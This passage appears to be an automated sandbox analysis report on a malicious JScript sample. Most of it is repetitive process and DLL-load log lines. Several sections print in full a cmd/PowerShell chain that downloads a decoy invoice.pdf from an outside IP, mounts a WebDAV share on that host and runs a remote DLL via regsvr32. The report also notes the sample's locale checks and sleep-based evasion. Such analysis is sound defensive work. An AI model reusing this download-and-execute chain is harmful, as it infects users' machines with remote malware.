Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\217.js.csv");ITextStream.WriteLine(" entry:7568 f:rflvzwczo");ITextStream.WriteLine(" exec:2 f:rflvzwczo");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4026			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5435			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3376	Thread sleep count: 4026 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3376	Thread sleep count: 5435 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5432	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2136	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2924	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2520	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6480	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1488	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2163014520.00000193C8753000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2162746773.00000193C86E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2161707261.00000193C8753000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2150784730.00000193C8753000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3365062962.000002314A42B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3366298600.000002314FA5A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
